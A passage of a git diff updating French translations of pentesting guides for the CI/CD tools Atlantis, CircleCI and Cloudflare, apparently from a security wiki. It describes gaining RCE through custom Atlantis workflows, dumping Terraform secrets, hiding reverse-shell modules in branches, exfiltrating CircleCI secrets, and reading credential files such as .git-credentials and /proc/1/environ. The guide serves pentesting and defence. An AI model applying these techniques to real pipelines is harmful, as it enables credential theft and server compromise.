pouvez utiliser pour **communiquer avec atlantis** -1. Vous pouvez accéder à la page web à 127.0.0.1:4141 +2. Créez un **jeton personnel** (avec accès au dépôt) de votre utilisateur **github**. +3. Exécutez `./atlantis testdrive` et cela créera un **dépôt de démonstration** que vous pouvez utiliser pour **communiquer avec atlantis**. +1. Vous pouvez accéder à la page web à 127.0.0.1:4141. -### Atlantis Access +### Accès à Atlantis -#### Git Server Credentials +#### Identifiants du serveur Git **Atlantis** prend en charge plusieurs hôtes git tels que **Github**, **Gitlab**, **Bitbucket** et **Azure DevOps**.\ -Cependant, pour accéder aux repos sur ces plateformes et effectuer des actions, il doit avoir un **accès privilégié accordé** (au moins des permissions d'écriture).\ +Cependant, pour accéder aux dépôts sur ces plateformes et effectuer des actions, il doit avoir un **accès privilégié accordé** (au moins des autorisations d'écriture).\ [**La documentation**](https://www.runatlantis.io/docs/access-credentials.html#create-an-atlantis-user-optional) encourage à créer un utilisateur sur ces plateformes spécifiquement pour Atlantis, mais certaines personnes peuvent utiliser des comptes personnels. > [!WARNING] @@ -28,66 +28,66 @@ Cependant, pour accéder aux repos sur ces plateformes et effectuer des actions, #### Webhooks -Atlantis utilise optionnellement [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) pour valider que les **webhooks** qu'il reçoit de votre hôte Git sont **légitimes**. +Atlantis utilise éventuellement [**Webhook secrets**](https://www.runatlantis.io/docs/webhook-secrets.html#generating-a-webhook-secret) pour valider que les **webhooks** qu'il reçoit de votre hôte Git sont **légitimes**. -Une façon de confirmer cela serait de **permettre uniquement les requêtes provenant des IPs** de votre hôte Git, mais une façon plus simple est d'utiliser un Webhook Secret. +Une façon de confirmer cela serait de **permettre uniquement les requêtes provenant des IPs** de votre hôte Git, mais une manière plus simple est d'utiliser un Webhook Secret. Notez que, à moins que vous n'utilisiez un serveur github ou bitbucket privé, vous devrez exposer les points de terminaison webhook à Internet. > [!WARNING] > Atlantis va **exposer des webhooks** afin que le serveur git puisse lui envoyer des informations. Du point de vue d'un attaquant, il serait intéressant de savoir **si vous pouvez lui envoyer des messages**. -#### Provider Credentials +#### Identifiants du fournisseur [De la documentation :](https://www.runatlantis.io/docs/provider-credentials.html) -Atlantis exécute Terraform en **exécutant les commandes `terraform plan` et `apply`** sur le serveur **où Atlantis est hébergé**. Tout comme lorsque vous exécutez Terraform localement, Atlantis a besoin de credentials pour votre fournisseur spécifique. +Atlantis exécute Terraform en **exécutant les commandes `terraform plan` et `apply`** sur le serveur **où Atlantis est hébergé**. Tout comme lorsque vous exécutez Terraform localement, Atlantis a besoin d'identifiants pour votre fournisseur spécifique. -C'est à vous de [fournir des credentials](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) pour votre fournisseur spécifique à Atlantis : +C'est à vous de [fournir des identifiants](https://www.runatlantis.io/docs/provider-credentials.html#aws-specific-info) pour votre fournisseur spécifique à Atlantis : -- Le [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) d'Atlantis et le [Module AWS Fargate](https://www.runatlantis.io/docs/deployment.html#aws-fargate) ont leurs propres mécanismes pour les credentials du fournisseur. Lisez leur documentation. -- Si vous exécutez Atlantis dans le cloud, alors de nombreux clouds ont des moyens de donner un accès API cloud aux applications qui y sont exécutées, ex : -- [AWS EC2 Roles](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Recherchez "EC2 Role") -- [GCE Instance Service Accounts](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) -- De nombreux utilisateurs définissent des variables d'environnement, ex. `AWS_ACCESS_KEY`, où Atlantis est exécuté. -- D'autres créent les fichiers de configuration nécessaires, ex. `~/.aws/credentials`, où Atlantis est exécuté. -- Utilisez le [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) pour obtenir des credentials de fournisseur. +- Le [Helm Chart](https://www.runatlantis.io/docs/deployment.html#kubernetes-helm-chart) d'Atlantis et le [Module AWS Fargate](https://www.runatlantis.io/docs/deployment.html#aws-fargate) ont leurs propres mécanismes pour les identifiants du fournisseur. Lisez leur documentation. +- Si vous exécutez Atlantis dans le cloud, de nombreux clouds ont des moyens de donner un accès API cloud aux applications qui y sont exécutées, par exemple : +- [Rôles AWS EC2](https://registry.terraform.io/providers/hashicorp/aws/latest/docs) (Recherchez "EC2 Role") +- [Comptes de service d'instance GCE](https://registry.terraform.io/providers/hashicorp/google/latest/docs/guides/provider_reference) +- De nombreux utilisateurs définissent des variables d'environnement, par exemple `AWS_ACCESS_KEY`, là où Atlantis est exécuté. +- D'autres créent les fichiers de configuration nécessaires, par exemple `~/.aws/credentials`, là où Atlantis est exécuté. +- Utilisez le [HashiCorp Vault Provider](https://registry.terraform.io/providers/hashicorp/vault/latest/docs) pour obtenir des identifiants de fournisseur. > [!WARNING] -> Le **conteneur** où **Atlantis** est **exécuté** contiendra très probablement des **credentials privilégiés** pour les fournisseurs (AWS, GCP, Github...) qu'Atlantis gère via Terraform. +> Le **conteneur** où **Atlantis** est **exécuté** contiendra très probablement des **identifiants privilégiés** pour les fournisseurs (AWS, GCP, Github...) qu'Atlantis gère via Terraform. -#### Web Page +#### Page Web -Par défaut, Atlantis exécutera une **page web sur le port 4141 en localhost**. Cette page vous permet simplement d'activer/désactiver l'application atlantis et de vérifier l'état du plan des repos et de les déverrouiller (elle ne permet pas de modifier des choses, donc elle n'est pas très utile). +Par défaut, Atlantis exécutera une **page web sur le port 4141 en localhost**. Cette page vous permet simplement d'activer/désactiver l'application atlantis et de vérifier l'état du plan des dépôts et de les déverrouiller (elle ne permet pas de modifier des choses, donc elle n'est pas très utile). -Vous ne la trouverez probablement pas exposée à Internet, mais il semble que par défaut **aucune credential n'est nécessaire** pour y accéder (et si elles le sont, `atlantis`:`atlantis` sont les **valeurs par défaut**). +Vous ne la trouverez probablement pas exposée à Internet, mais il semble que par défaut **aucun identifiant n'est nécessaire** pour y accéder (et s'ils le sont, `atlantis`:`atlantis` sont les **identifiants par défaut**). -### Server Configuration +### Configuration du serveur -La configuration pour `atlantis server` peut être spécifiée via des flags de ligne de commande, des variables d'environnement, un fichier de configuration ou un mélange des trois. +La configuration de `atlantis server` peut être spécifiée via des options de ligne de commande, des variables d'environnement, un fichier de configuration ou un mélange des trois. -- Vous pouvez trouver [**ici la liste des flags**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) pris en charge par le serveur Atlantis -- Vous pouvez trouver [**ici comment transformer une option de configuration en variable d'environnement**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables) +- Vous pouvez trouver [**ici la liste des options**](https://www.runatlantis.io/docs/server-configuration.html#server-configuration) prises en charge par le serveur Atlantis. +- Vous pouvez trouver [**ici comment transformer une option de configuration en variable d'environnement**](https://www.runatlantis.io/docs/server-configuration.html#environment-variables). Les valeurs sont **choisies dans cet ordre** : -1. Flags +1. Options 2. Variables d'environnement 3. Fichier de configuration > [!WARNING] -> Notez que dans la configuration, vous pourriez trouver des valeurs intéressantes telles que **tokens et mots de passe**. +> Notez que dans la configuration, vous pourriez trouver des valeurs intéressantes telles que **jetons et mots de passe**. -#### Repos Configuration +#### Configuration des dépôts -Certaines configurations affectent **comment les repos sont gérés**. Cependant, il est possible que **chaque repo nécessite des paramètres différents**, donc il existe des moyens de spécifier chaque repo. Voici l'ordre de priorité : +Certaines configurations affectent **la manière dont les dépôts sont gérés**. Cependant, il est possible que **chaque dépôt nécessite des paramètres différents**, donc il existe des moyens de spécifier chaque dépôt. Voici l'ordre de priorité : -1. Fichier [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config). Ce fichier peut être utilisé pour spécifier comment atlantis doit traiter le repo. Cependant, par défaut, certaines clés ne peuvent pas être spécifiées ici sans certains flags permettant cela. -1. Probablement requis d'être autorisé par des flags comme `allowed_overrides` ou `allow_custom_workflows` -2. [**Configuration côté serveur**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) : Vous pouvez le passer avec le flag `--repo-config` et c'est un yaml configurant de nouveaux paramètres pour chaque repo (regex pris en charge) -3. Valeurs **par défaut** +1. Fichier [**`/atlantis.yml`**](https://www.runatlantis.io/docs/repo-level-atlantis-yaml.html#repo-level-atlantis-yaml-config). Ce fichier peut être utilisé pour spécifier comment atlantis doit traiter le dépôt. Cependant, par défaut, certaines clés ne peuvent pas être spécifiées ici sans certaines options permettant cela. +1. Probablement requis d'être autorisé par des options comme `allowed_overrides` ou `allow_custom_workflows`. +2. [**Configuration côté serveur**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) : Vous pouvez le passer avec l'option `--repo-config` et c'est un yaml configurant de nouveaux paramètres pour chaque dépôt (regex pris en charge). +3. Valeurs **par défaut**. -**PR Protections** +**Protections PR** Atlantis permet d'indiquer si vous souhaitez que le **PR** soit **`approuvé`** par quelqu'un d'autre (même si cela n'est pas défini dans la protection de branche) et/ou soit **`fusionnable`** (protections de branche passées) **avant d'exécuter apply**. D'un point de vue sécurité, il est recommandé de définir les deux options. @@ -95,18 +95,18 @@ Dans le cas où `allowed_overrides` est True, ces paramètres peuvent être **é **Scripts** -La configuration du repo peut **spécifier des scripts** à exécuter [**avant**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_hooks de pré-traitement_) et [**après**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_hooks de post-traitement_) qu'un **workflow est exécuté.** +La configuration du dépôt peut **spécifier des scripts** à exécuter [**avant**](https://www.runatlantis.io/docs/pre-workflow-hooks.html#usage) (_hooks de pré-traitement_) et [**après**](https://www.runatlantis.io/docs/post-workflow-hooks.html) (_hooks de post-traitement_) qu'un **workflow est exécuté.** -Il n'y a aucune option pour permettre de **spécifier** ces scripts dans le **fichier repo `/atlantis.yml`**. +Il n'y a aucune option pour **spécifier** ces scripts dans le **fichier `/atlantis.yml`** du dépôt. **Workflow** -Dans la configuration du repo (configuration côté serveur), vous pouvez [**spécifier un nouveau workflow par défaut**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), ou [**créer de nouveaux workflows personnalisés**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Vous pouvez également **spécifier** quels **repos** peuvent **accéder** aux **nouveaux** générés.\ -Ensuite, vous pouvez permettre au fichier **atlantis.yaml** de chaque repo de **spécifier le workflow à utiliser.** +Dans la configuration du dépôt (configuration côté serveur), vous pouvez [**spécifier un nouveau workflow par défaut**](https://www.runatlantis.io/docs/server-side-repo-config.html#change-the-default-atlantis-workflow), ou [**créer de nouveaux workflows personnalisés**](https://www.runatlantis.io/docs/custom-workflows.html#custom-workflows)**.** Vous pouvez également **spécifier** quels **dépôts** peuvent **accéder** aux **nouveaux** générés.\ +Ensuite, vous pouvez permettre au fichier **atlantis.yaml** de chaque dépôt de **spécifier le workflow à utiliser.** > [!CAUTION] -> Si le flag [**configuration côté serveur**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` est défini sur **True**, les workflows peuvent être **spécifiés** dans le **fichier `atlantis.yaml`** de chaque repo. Il est également potentiellement nécessaire que **`allowed_overrides`** spécifie également **`workflow`** pour **écraser le workflow** qui va être utilisé.\ -> Cela donnera essentiellement **RCE dans le serveur Atlantis à tout utilisateur qui peut accéder à ce repo**. +> Si l'option [**configuration côté serveur**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` est définie sur **True**, les workflows peuvent être **spécifiés** dans le fichier **`atlantis.yaml`** de chaque dépôt. Il est également potentiellement nécessaire que **`allowed_overrides`** spécifie également **`workflow`** pour **écraser le workflow** qui va être utilisé.\ +> Cela donnera essentiellement **RCE dans le serveur Atlantis à tout utilisateur pouvant accéder à ce dépôt**. > > ```yaml > # atlantis.yaml @@ -124,18 +124,18 @@ Ensuite, vous pouvez permettre au fichier **atlantis.yaml** de chaque repo de ** > steps: - run: my custom apply command > ``` -**Conftest Policy Checking** +**Vérification de la politique Conftest** Atlantis prend en charge l'exécution de **politiques** [**conftest**](https://www.conftest.dev/) **côté serveur** contre la sortie du plan. Les cas d'utilisation courants pour cette étape incluent : -- Interdire l'utilisation d'une liste de modules -- Affirmer les attributs d'une ressource au moment de sa création -- Détecter les suppressions de ressources non intentionnelles -- Prévenir les risques de sécurité (c'est-à-dire exposer des ports sécurisés au public) +- Interdire l'utilisation d'une liste de modules. +- Affirmer les attributs d'une ressource au moment de sa création. +- Détecter les suppressions de ressources non intentionnelles. +- Prévenir les risques de sécurité (c'est-à-dire exposer des ports sécurisés au public). Vous pouvez vérifier comment le configurer dans [**la documentation**](https://www.runatlantis.io/docs/policy-checking.html#how-it-works). -### Atlantis Commands +### Commandes Atlantis [**Dans la documentation**](https://www.runatlantis.io/docs/using-atlantis.html#using-atlantis) vous pouvez trouver les options que vous pouvez utiliser pour exécuter Atlantis : ```bash @@ -195,7 +195,7 @@ Vous pouvez trouver le code rev shell dans [https://github.com/carlospolop/terra - Dans la ressource externe, utilisez la fonctionnalité **ref** pour cacher le **code rev shell terraform dans une branche** à l'intérieur du dépôt, quelque chose comme : `git@github.com:carlospolop/terraform_external_module_rev_shell//modules?ref=b401d2b` - **Au lieu** de créer une **PR vers master** pour déclencher Atlantis, **créez 2 branches** (test1 et test2) et créez une **PR de l'une à l'autre**. Lorsque vous avez terminé l'attaque, il vous suffit de **supprimer la PR et les branches**. -#### Atlantis plan Secrets Dump +#### Dump des secrets du plan Atlantis Vous pouvez **dumper les secrets utilisés par terraform** en exécutant `atlantis plan` (`terraform plan`) en mettant quelque chose comme ceci dans le fichier terraform : ```json @@ -203,13 +203,13 @@ output "dotoken" { value = nonsensitive(var.do_token) } ``` -#### Atlantis apply RCE - Modification de configuration dans une nouvelle PR +#### Atlantis appliquer RCE - Modification de configuration dans une nouvelle PR Si vous avez un accès en écriture sur un dépôt, vous pourrez créer une nouvelle branche et générer une PR. Si vous pouvez **exécuter `atlantis apply`, vous pourrez RCE à l'intérieur du serveur Atlantis**. Cependant, vous devrez généralement contourner certaines protections : -- **Mergeable** : Si cette protection est définie dans Atlantis, vous ne pouvez exécuter **`atlantis apply` que si la PR est fusionnable** (ce qui signifie que la protection de branche doit être contournée). +- **Mergeable** : Si cette protection est définie dans Atlantis, vous ne pouvez exécuter **`atlantis apply` que si la PR est mergeable** (ce qui signifie que la protection de branche doit être contournée). - Vérifiez les [**contournements potentiels des protections de branche**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) - **Approuvé** : Si cette protection est définie dans Atlantis, un **autre utilisateur doit approuver la PR** avant que vous puissiez exécuter `atlantis apply` - Par défaut, vous pouvez abuser du [**token Gitbot pour contourner cette protection**](https://github.com/carlospolop/hacktricks-cloud/blob/master/pentesting-ci-cd/broken-reference/README.md) @@ -243,7 +243,7 @@ atlantis plan -- -h #Get terraform plan help atlantis apply -- atlantis apply -- -h #Get terraform apply help ``` -Quelque chose que vous pouvez passer sont des variables d'environnement qui pourraient être utiles pour contourner certaines protections. Vérifiez les variables d'environnement terraform dans [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) +Vous pouvez passer des variables d'environnement qui pourraient être utiles pour contourner certaines protections. Vérifiez les variables d'environnement terraform dans [https://www.terraform.io/cli/config/environment-variables](https://www.terraform.io/cli/config/environment-variables) #### Workflow personnalisé @@ -253,7 +253,7 @@ Cette possibilité a été mentionnée dans une section précédente : > [!CAUTION] > Si le drapeau [**server side config**](https://www.runatlantis.io/docs/server-side-repo-config.html#server-side-config) `allow_custom_workflows` est défini sur **True**, les workflows peuvent être **spécifiés** dans le fichier **`atlantis.yaml`** de chaque dépôt. Il est également potentiellement nécessaire que **`allowed_overrides`** spécifie également **`workflow`** pour **remplacer le workflow** qui va être utilisé. > -> Cela donnera essentiellement **RCE dans le serveur Atlantis à tout utilisateur qui peut accéder à ce dépôt**. +> Cela donnera essentiellement **RCE sur le serveur Atlantis à tout utilisateur pouvant accéder à ce dépôt**. > > ```yaml > # atlantis.yaml @@ -282,11 +282,11 @@ apply_requirements: [] ``` #### PR Hijacking -Si quelqu'un envoie des **commentaires `atlantis plan/apply` sur vos pull requests valides,** cela fera exécuter terraform quand vous ne le souhaitez pas. +Si quelqu'un envoie des **`atlantis plan/apply` commentaires sur vos pull requests valides,** cela fera en sorte que terraform s'exécute quand vous ne le souhaitez pas. -De plus, si vous n'avez pas configuré dans la **protection de branche** de demander une **réévaluation** de chaque PR lorsqu'un **nouveau commit est poussé** dessus, quelqu'un pourrait **écrire des configurations malveillantes** (voir les scénarios précédents) dans la configuration terraform, exécuter `atlantis plan/apply` et obtenir RCE. +De plus, si vous n'avez pas configuré dans la **protection de branche** pour demander une **réévaluation** de chaque PR lorsqu'un **nouveau commit est poussé** dessus, quelqu'un pourrait **écrire des configurations malveillantes** (voir les scénarios précédents) dans la configuration terraform, exécuter `atlantis plan/apply` et obtenir RCE. -C'est le **paramètre** dans les protections de branche de Github : +C'est le **paramètre** dans les protections de branche Github : ![](<../images/image (216).png>) @@ -296,7 +296,7 @@ Si vous parvenez à **voler le webhook secret** utilisé ou s'il **n'y a pas de #### Bitbucket -Bitbucket Cloud **ne prend pas en charge les webhook secrets**. Cela pourrait permettre aux attaquants de **falsifier des requêtes depuis Bitbucket**. Assurez-vous de n'autoriser que les IPs de Bitbucket. +Bitbucket Cloud ne **prend pas en charge les webhook secrets**. Cela pourrait permettre aux attaquants de **falsifier des requêtes depuis Bitbucket**. Assurez-vous de n'autoriser que les IPs de Bitbucket. - Cela signifie qu'un **attaquant** pourrait faire des **requêtes falsifiées à Atlantis** qui semblent provenir de Bitbucket. - Si vous spécifiez `--repo-allowlist`, alors ils ne pourraient falsifier que des requêtes concernant ces dépôts, donc le plus de dégâts qu'ils pourraient causer serait de planifier/appliquer sur vos propres dépôts. @@ -308,7 +308,7 @@ Si vous avez réussi à accéder au serveur ou au moins à obtenir un LFI, il y - `/home/atlantis/.git-credentials` Contient les identifiants d'accès vcs - `/atlantis-data/atlantis.db` Contient les identifiants d'accès vcs avec plus d'infos -- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Fichier d'état Terraform +- `/atlantis-data/repos/`_`/`_`////.terraform/terraform.tfstate` Fichier d'état terraform - Exemple : /atlantis-data/repos/ghOrg\_/_myRepo/20/default/env/prod/.terraform/terraform.tfstate - `/proc/1/environ` Variables d'environnement - `/proc/[2-20]/cmdline` Ligne de commande de `atlantis server` (peut contenir des données sensibles) @@ -336,19 +336,19 @@ Ce drapeau garantit que votre installation Atlantis n'est pas utilisée avec des #### Protect Terraform Planning -Si les attaquants soumettant des pull requests avec du code Terraform malveillant sont dans votre modèle de menace, alors vous devez être conscient que les approbations `terraform apply` ne suffisent pas. Il est possible d'exécuter du code malveillant dans un `terraform plan` en utilisant la [`source de données externe`](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) ou en spécifiant un fournisseur malveillant. Ce code pourrait alors exfiltrer vos identifiants. +Si des attaquants soumettent des pull requests avec du code Terraform malveillant dans votre modèle de menace, vous devez être conscient que les approbations `terraform apply` ne suffisent pas. Il est possible d'exécuter du code malveillant dans un `terraform plan` en utilisant la [`source de données externe`](https://registry.terraform.io/providers/hashicorp/external/latest/docs/data-sources/data_source) ou en spécifiant un fournisseur malveillant. Ce code pourrait alors exfiltrer vos identifiants. Pour éviter cela, vous pourriez : 1. Intégrer les fournisseurs dans l'image Atlantis ou héberger et refuser l'egress en production. -2. Implémenter le protocole de registre de fournisseurs en interne et refuser l'egress public, de cette façon vous contrôlez qui a un accès en écriture au registre. -3. Modifier votre [configuration de dépôt côté serveur](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` étape pour valider l'utilisation de fournisseurs ou de sources de données non autorisés ou de PRs d'utilisateurs non autorisés. Vous pourriez également ajouter une validation supplémentaire à ce stade, par exemple exiger un "pouce en l'air" sur la PR avant de permettre à la `plan` de continuer. Conftest pourrait être utile ici. +2. Mettre en œuvre le protocole de registre de fournisseurs en interne et refuser l'egress public, de cette façon vous contrôlez qui a un accès en écriture au registre. +3. Modifier votre [configuration de dépôt côté serveur](https://www.runatlantis.io/docs/server-side-repo-config.html)'s `plan` étape pour valider l'utilisation de fournisseurs ou de sources de données non autorisés ou de PRs provenant d'utilisateurs non autorisés. Vous pourriez également ajouter une validation supplémentaire à ce stade, par exemple exiger un "pouce en l'air" sur la PR avant de permettre à la `plan` de continuer. Conftest pourrait être utile ici. #### Webhook Secrets Atlantis doit être exécuté avec des secrets de webhook définis via les variables d'environnement `$ATLANTIS_GH_WEBHOOK_SECRET`/`$ATLANTIS_GITLAB_WEBHOOK_SECRET`. Même avec le drapeau `--repo-allowlist` défini, sans un webhook secret, les attaquants pourraient faire des requêtes à Atlantis en se faisant passer pour un dépôt qui est sur la liste blanche. Les secrets de webhook garantissent que les requêtes webhook proviennent réellement de votre fournisseur VCS (GitHub ou GitLab). -Si vous utilisez Azure DevOps, au lieu de secrets de webhook, ajoutez un nom d'utilisateur et un mot de passe de base. +Si vous utilisez Azure DevOps, au lieu des secrets de webhook, ajoutez un nom d'utilisateur et un mot de passe de base. #### Azure DevOps Basic Authentication diff --git a/src/pentesting-ci-cd/circleci-security.md b/src/pentesting-ci-cd/circleci-security.md index dd8af1828..02fbe2151 100644 --- a/src/pentesting-ci-cd/circleci-security.md +++ b/src/pentesting-ci-cd/circleci-security.md @@ -1,8 +1,8 @@ -# CircleCI Security +# CircleCI Sécurité {{#include ../banners/hacktricks-training.md}} -### Basic Information +### Informations de base [**CircleCI**](https://circleci.com/docs/2.0/about-circleci/) est une plateforme d'intégration continue où vous pouvez **définir des modèles** indiquant ce que vous voulez qu'elle fasse avec du code et quand le faire. De cette manière, vous pouvez **automatiser les tests** ou **les déploiements** directement **à partir de la branche principale de votre dépôt**, par exemple. @@ -13,17 +13,17 @@ Dans mes tests, j'ai vérifié que tant que vous avez **des permissions d'écrit Cependant, vous devez être un **administrateur de dépôt** pour **convertir le dépôt en projet CircleCI**. -### Env Variables & Secrets +### Variables d'environnement & Secrets Selon [**la documentation**](https://circleci.com/docs/2.0/env-vars/), il existe différentes manières de **charger des valeurs dans des variables d'environnement** à l'intérieur d'un workflow. -#### Built-in env variables +#### Variables d'environnement intégrées Chaque conteneur exécuté par CircleCI aura toujours [**des variables d'environnement spécifiques définies dans la documentation**](https://circleci.com/docs/2.0/env-vars/#built-in-environment-variables) comme `CIRCLE_PR_USERNAME`, `CIRCLE_PROJECT_REPONAME` ou `CIRCLE_USERNAME`. -#### Clear text +#### Texte clair -Vous pouvez les déclarer en texte clair à l'intérieur d'une **commande**: +Vous pouvez les déclarer en texte clair à l'intérieur d'une **commande** : ```yaml - run: name: "set and echo" @@ -48,7 +48,7 @@ docker: environment: SECRET: A secret ``` -Vous pouvez les déclarer en texte clair à l'intérieur de **l'environnement d'un conteneur** : +Vous pouvez les déclarer en texte clair à l'intérieur de l'**environnement d'un conteneur** : ```yaml jobs: build-job: @@ -75,7 +75,7 @@ Ce sont des secrets qui sont **à l'échelle de l'organisation**. Par **défaut, > [!TIP] > Cependant, notez qu'un groupe différent (au lieu de Tous les membres) peut être **sélectionné pour donner accès aux secrets à des personnes spécifiques**.\ -> C'est actuellement l'un des meilleurs moyens d'**augmenter la sécurité des secrets**, pour ne pas permettre à tout le monde d'y accéder mais juste à certaines personnes. +> C'est actuellement l'un des meilleurs moyens d'**augmenter la sécurité des secrets**, pour ne pas permettre à tout le monde d'y accéder mais seulement à certaines personnes. ### Attaques @@ -83,14 +83,14 @@ Ce sont des secrets qui sont **à l'échelle de l'organisation**. Par **défaut, Si vous avez **accès au VCS** (comme github), vérifiez le fichier `.circleci/config.yml` de **chaque repo sur chaque branche** et **recherchez** des **secrets en texte clair** potentiels stockés là. -#### Énumération des Variables Env Secrets & Contextes +#### Énumération des Variables Env Secrètes & Contextes En vérifiant le code, vous pouvez trouver **tous les noms de secrets** qui sont **utilisés** dans chaque fichier `.circleci/config.yml`. Vous pouvez également obtenir les **noms de contexte** à partir de ces fichiers ou les vérifier dans la console web : _https://app.circleci.com/settings/organization/github/\/contexts_. #### Exfiltrer les Secrets de Projet > [!WARNING] -> Pour **exfiltrer TOUS** les **SECRETS** de projet et de contexte, vous **avez juste** besoin d'avoir un accès **ÉCRIT** à **juste 1 repo** dans toute l'organisation github (_et votre compte doit avoir accès aux contextes mais par défaut tout le monde peut accéder à chaque contexte_). +> Pour **exfiltrer TOUS** les **SECRETS** de projet et de contexte, vous **devez juste** avoir un accès **ÉCRIT** à **juste 1 repo** dans l'ensemble de l'organisation github (_et votre compte doit avoir accès aux contextes mais par défaut tout le monde peut accéder à chaque contexte_). > [!CAUTION] > La fonctionnalité "**Import Variables**" permet d'**importer des variables d'autres projets** vers celui-ci. Par conséquent, un attaquant pourrait **importer toutes les variables de projet de tous les repos** et ensuite **exfiltrer toutes ensemble**. @@ -192,14 +192,14 @@ jobs: context: Test-Context ``` > [!WARNING] -> Créer simplement un nouveau `.circleci/config.yml` dans un dépôt **ne suffit pas à déclencher un build circleci**. Vous devez **l'activer en tant que projet dans la console circleci**. +> Créer simplement un nouveau `.circleci/config.yml` dans un dépôt **ne suffit pas à déclencher une build circleci**. Vous devez **l'activer en tant que projet dans la console circleci**. #### Échapper vers le Cloud -**CircleCI** vous donne l'option d'exécuter **vos builds sur leurs machines ou sur les vôtres**.\ -Par défaut, leurs machines sont situées dans GCP, et vous ne pourrez initialement rien trouver de pertinent. Cependant, si une victime exécute les tâches sur **ses propres machines (potentiellement, dans un environnement cloud)**, vous pourriez trouver un **point de terminaison de métadonnées cloud avec des informations intéressantes dessus**. +**CircleCI** vous offre la possibilité d'exécuter **vos builds sur leurs machines ou sur les vôtres**.\ +Par défaut, leurs machines sont situées dans GCP, et vous ne pourrez initialement rien trouver de pertinent. Cependant, si une victime exécute les tâches sur **ses propres machines (potentiellement, dans un environnement cloud)**, vous pourriez trouver un **point de terminaison de métadonnées cloud avec des informations intéressantes**. -Remarquez que dans les exemples précédents, tout était lancé à l'intérieur d'un conteneur docker, mais vous pouvez également **demander à lancer une machine VM** (qui peut avoir des autorisations cloud différentes) : +Remarquez que dans les exemples précédents, tout a été lancé à l'intérieur d'un conteneur docker, mais vous pouvez également **demander à lancer une machine VM** (qui peut avoir des autorisations cloud différentes) : ```yaml jobs: exfil-env: @@ -228,7 +228,7 @@ version: 19.03.13 - Il est possible d'**ajouter des clés SSH** aux projets. - _https://app.circleci.com/settings/project/github/\/\/ssh_ - Il est possible de **créer un cron job dans une branche cachée** dans un projet inattendu qui **fuit** toutes les **variables d'environnement contextuelles** chaque jour. -- Ou même de créer dans une branche / modifier un job connu qui **fuit** tous les contextes et les **secrets des projets** chaque jour. +- Ou même de créer dans une branche / modifier un job connu qui **fuit** tous les secrets de contexte et de **projets** chaque jour. - Si vous êtes propriétaire d'un github, vous pouvez **autoriser des orbes non vérifiés** et en configurer un dans un job comme **porte dérobée**. - Vous pouvez trouver une **vulnérabilité d'injection de commande** dans certaines tâches et **injecter des commandes** via un **secret** en modifiant sa valeur. diff --git a/src/pentesting-ci-cd/cloudflare-security/README.md b/src/pentesting-ci-cd/cloudflare-security/README.md index 342c6c434..6b9f047aa 100644 --- a/src/pentesting-ci-cd/cloudflare-security/README.md +++ b/src/pentesting-ci-cd/cloudflare-security/README.md @@ -1,12 +1,12 @@ -# Cloudflare Security +# Sécurité Cloudflare {{#include ../../banners/hacktricks-training.md}} -Dans un compte Cloudflare, il y a certains **paramètres généraux et services** qui peuvent être configurés. Sur cette page, nous allons **analyser les paramètres de sécurité liés à chaque section :** +Dans un compte Cloudflare, il y a certains **paramètres généraux et services** qui peuvent être configurés. Sur cette page, nous allons **analyser les paramètres liés à la sécurité de chaque section :**
-## Websites +## Sites Web Examinez chacun avec : @@ -14,9 +14,9 @@ Examinez chacun avec : cloudflare-domains.md {{#endref}} -### Domain Registration +### Enregistrement de domaine -- [ ] Dans **`Transfer Domains`**, vérifiez qu'il n'est pas possible de transférer un domaine. +- [ ] Dans **`Transférer des domaines`**, vérifiez qu'il n'est pas possible de transférer un domaine. Examinez chacun avec : @@ -24,7 +24,7 @@ Examinez chacun avec : cloudflare-domains.md {{#endref}} -## Analytics +## Analytique _Je n'ai rien trouvé à vérifier pour un examen de sécurité de configuration._ @@ -32,12 +32,12 @@ _Je n'ai rien trouvé à vérifier pour un examen de sécurité de configuration Sur chaque page de Cloudflare : -- [ ] Vérifiez les **informations sensibles** dans le **`Build log`**. +- [ ] Vérifiez les **informations sensibles** dans le **`Journal de construction`**. - [ ] Vérifiez les **informations sensibles** dans le **dépôt Github** assigné aux pages. -- [ ] Vérifiez le potentiel compromis du dépôt github via **workflow command injection** ou compromis de `pull_request_target`. Plus d'infos sur la [**page de sécurité Github**](../github-security/). +- [ ] Vérifiez le potentiel compromis du dépôt github via **injection de commande de workflow** ou compromis de `pull_request_target`. Plus d'infos sur la [**page de sécurité Github**](../github-security/). - [ ] Vérifiez les **fonctions vulnérables** dans le répertoire `/fuctions` (s'il y en a), vérifiez les **redirections** dans le fichier `_redirects` (s'il y en a) et les **en-têtes mal configurés** dans le fichier `_headers` (s'il y en a). - [ ] Vérifiez les **vulnérabilités** dans la **page web** via **blackbox** ou **whitebox** si vous pouvez **accéder au code**. -- [ ] Dans les détails de chaque page `//pages/view/blocklist/settings/functions`. Vérifiez les **informations sensibles** dans les **`Environment variables`**. +- [ ] Dans les détails de chaque page `//pages/view/blocklist/settings/functions`. Vérifiez les **informations sensibles** dans les **`Variables d'environnement`**. - [ ] Dans la page de détails, vérifiez également la **commande de construction** et le **répertoire racine** pour des **injections 